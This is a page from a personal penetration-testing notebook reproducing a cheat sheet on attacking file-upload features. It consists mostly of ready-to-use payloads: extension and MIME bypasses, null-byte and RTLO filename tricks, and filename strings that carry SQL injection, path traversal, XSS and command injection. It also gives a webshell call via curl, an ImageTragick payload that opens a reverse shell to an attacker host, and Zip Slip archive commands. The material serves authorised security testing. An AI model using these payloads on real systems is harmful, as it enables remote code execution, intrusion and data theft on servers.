☕
Brinkles Pentesting Notebook
  • Introduction
    • My Journey to Pentesting
    • Twitter
    • Github
  • Certification Reviews
    • OSEP Review
    • CISSP Review
    • OSCP Review
    • RTJC Review
    • RTAC Review
    • CEH Review
    • CRTO Review
    • PNPT Review
    • eWPT Review
    • eJPTv1 Review
    • CCNP Security Review
    • CCNA Review
    • CompTIA Net +, A+ Review
  • C2 and Payloads
    • Sliver C2
    • Cobalt Strike
      • BOFs and Aggressor Scripts
        • Situational Awareness BOF
        • HOLLOW BOF
        • DLL_Version_Enumeration_BOF
        • InlineExecute-Assembly BOF
        • BOF.NET
        • C2-Tool-Collection BOFs
        • Inline-Execute-PE
      • Payloads
  • Tools
    • Internal Tools
      • BloodHound
      • Certi
      • Coercer
      • CrackMapExec
      • DCSync
      • DFSCoerce
      • DonPAPI
      • WMIEXEC
      • Kerberoasting
      • Lsassy
      • mitm6
      • Pcredz
      • PowerSploit
      • PrivExchange
      • Responder / RunFinger
      • Rubeus
      • Seatbelt
      • Seth
    • Web App Pentesting
      • Payload All The Things
        • Directory traversal
          • Deep Traversal
          • More Directory Traversal Payloads
        • SAML Injection
        • XXE - XML External Entity
        • XSS - Cross Site Scripting
        • XSLT Injection
        • XPATH injection
        • Upload Insecure Files
        • SQL injection
          • MSSQL Injection
          • MYSQL Injection
          • Oracle SQL Injection
          • PostgreSQL injection
          • SQLite Injection
        • Server Side Templates Injections
        • Server-Side Request Forgery
          • Payloads Included in Server-Side Request Forgery
        • Request Smuggling
        • OAuth
        • NoSQL injection
        • LDAP injection
        • Kubernetes
        • JSON Web Token
        • HTTP Parameter Pollution
        • GraphQL injection
        • CORS Misconfiguration
        • CRLF
        • Cross-Site Request Forgery
        • CSV Injection (Formula Injection)
        • File Inclusion
          • PHPINFOlfi.py
          • uploadlfi.py
  • Network Security
    • DMVPN GRE NHRP IPsec Profiles
    • Flex VPNs
    • GET VPN with Key Server
    • IKE Site to Site w/ IPSec
    • Point to Point GRE over IPSec
    • Remote Access VPN
    • Helpful Cisco Firewall CLI Commands
Powered by GitBook
On this page
  • Summary
  • Tools
  • Exploits
  • Defaults extensions
  • Upload tricks
  • Filename vulnerabilities
  • Picture upload with LFI
  • Configuration Files
  • CVE - Image Tragik
  • CVE - FFMpeg
  • ZIP archive
  • References
  1. Tools
  2. Web App Pentesting
  3. Payload All The Things

Upload Insecure Files

PreviousXPATH injectionNextSQL injection

Last updated 2 years ago

Uploaded files may pose a significant risk if not handled correctly. A remote attacker could send a multipart/form-data POST request with a specially-crafted filename or mime type and execute arbitrary code.

Summary

  • Tools

  • Exploits

    • Defaults extensions

    • Upload tricks

    • Filename vulnerabilities

    • Picture upload with LFI

    • Configuration Files

    • CVE - Image Tragik

    • CVE - FFMpeg

    • ZIP Archive

  • References

Tools

Exploits

Defaults extensions

  • PHP Server

    .php
    .php3
    .php4
    .php5
    .php7
    
    # Less known PHP extensions
    .pht
    .phps
    .phar
    .phpt
    .pgif
    .phtml
    .phtm
    .inc
  • ASP Server : .asp, .aspx, .cer and .asa (IIS <= 7.5), shell.aspx;1.jpg (IIS < 7.0), shell.soap

  • JSP : .jsp, .jspx, .jsw, .jsv, .jspf

  • Perl: .pl, .pm, .cgi, .lib

  • Coldfusion: .cfm, .cfml, .cfc, .dbm

Upload tricks

  • Use double extensions : .jpg.php

  • Use reverse double extension (useful to exploit Apache misconfigurations where anything with extension .php, but not necessarily ending in .php will execute code): .php.jpg

  • Random uppercase and lowercase : .pHp, .pHP5, .PhAr

  • Null byte (works well against pathinfo())

    • .php%00.gif

    • .php\x00.gif

    • .php%00.png

    • .php\x00.png

    • .php%00.jpg

    • .php\x00.jpg

  • Special characters

    • Multiple dots : file.php...... , in Windows when a file is created with dots at the end those will be removed.

    • Whitespace characters: file.php%20, file.php%0d%0a.jpg

    • Right to Left Override (RTLO): name.%E2%80%AEphp.jpg will became name.gpj.php.

    • Slash: file.php/, file.php.\, file.j\sp, file.j/sp

    • Multiple special characters: file.jsp/././././.

  • Mime type, change Content-Type : application/x-php or Content-Type : application/octet-stream to Content-Type : image/gif

    • Content-Type : image/gif

    • Content-Type : image/png

    • Content-Type : image/jpeg

    • Set the Content-Type twice: once for unallowed type and once for allowed.

    • Sometimes applications identify file types based on their first signature bytes. Adding/replacing them in a file might trick the application.

      • PNG: \x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03[

      • JPG: \xff\xd8\xff

      • GIF: GIF87a OR GIF8;

    • Shell can also be added in the metadata

  • Using NTFS alternate data stream (ADS) in Windows. In this case, a colon character ":" will be inserted after a forbidden extension and before a permitted one. As a result, an empty file with the forbidden extension will be created on the server (e.g. "file.asax:.jpg"). This file might be edited later using other techniques such as using its short filename. The "::$data" pattern can also be used to create non-empty files. Therefore, adding a dot character after this pattern might also be useful to bypass further restrictions (.e.g. "file.asp::$data.")

Filename vulnerabilities

  • Time-Based SQLi Payloads: e.g. poc.js'(select*from(select(sleep(20)))a)+'.extension

  • LFI Payloads: e.g. image.png../../../../../../../etc/passwd

  • XSS Payloads e.g. '"><img src=x onerror=alert(document.domain)>.extension

  • File Traversal e.g. ../../../tmp/lol.png

  • Command Injection e.g. ; sleep 10;

Picture upload with LFI

Valid pictures hosting PHP code. Upload the picture and use a local file inclusion to execute the code. The shell can be called with the following command : curl 'http://localhost/test.php?0=system' --data "1='ls'".

  • Picture Metadata, hide the payload inside a comment tag in the metadata.

  • Picture Resize, hide the payload within the compression algorithm in order to bypass a resize. Also defeating getimagesize() and imagecreatefromgif().

Configuration Files

If you are trying to upload files to a :

  • PHP server, take a look at the .htaccess trick to execute code.

  • ASP server, take a look at the .config trick to execute code.

Configuration files examples

  • .htaccess

  • web.config

  • httpd.conf

  • __init__.py

Alternatively you may be able to upload a JSON file with a custom scripts, try to overwrite a dependency manager configuration file.

  • package.json

    "scripts": {
        "prepare" : "/bin/touch /tmp/pwned.txt"
    }
  • composer.json

    "scripts": {
        "pre-command-run" : [
        "/bin/touch /tmp/pwned.txt"
        ]
    }

CVE - Image Tragik

Upload this content with an image extension to exploit the vulnerability (ImageMagick , 7.0.1-1)

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context

More payload in the folder Picture Image Magik

CVE - FFMpeg

FFmpeg HLS vulnerability

ZIP archive

When a ZIP/archive file is automatically decompressed after the upload

  • Zip Slip: directory traversal to write a file somewhere else

    python evilarc.py shell.php -o unix -f shell.zip -p var/www/html/ -d 15
    
    ln -s ../../../index.php symindex.txt
    zip --symlinks test.zip symindex.txt

References

  • Bulletproof Jpegs Generator - Damien "virtualabs" Cauquil

Fuxploider
Burp > Upload Scanner
ZAP > FileUpload AddOn
Magic Bytes
BookFresh Tricky File Upload Bypass to RCE, NOV 29, 2014 - AHMED ABOUL-ELA
Encoding Web Shells in PNG IDAT chunks, 04-06-2012, phil
La PNG qui se prenait pour du PHP, 23 février 2014
File Upload restrictions bypass - Haboob Team
File Upload - Mahmoud M. Awali / @0xAwali
IIS - SOAP
Arbitrary File Upload Tricks In Java - pyn3rd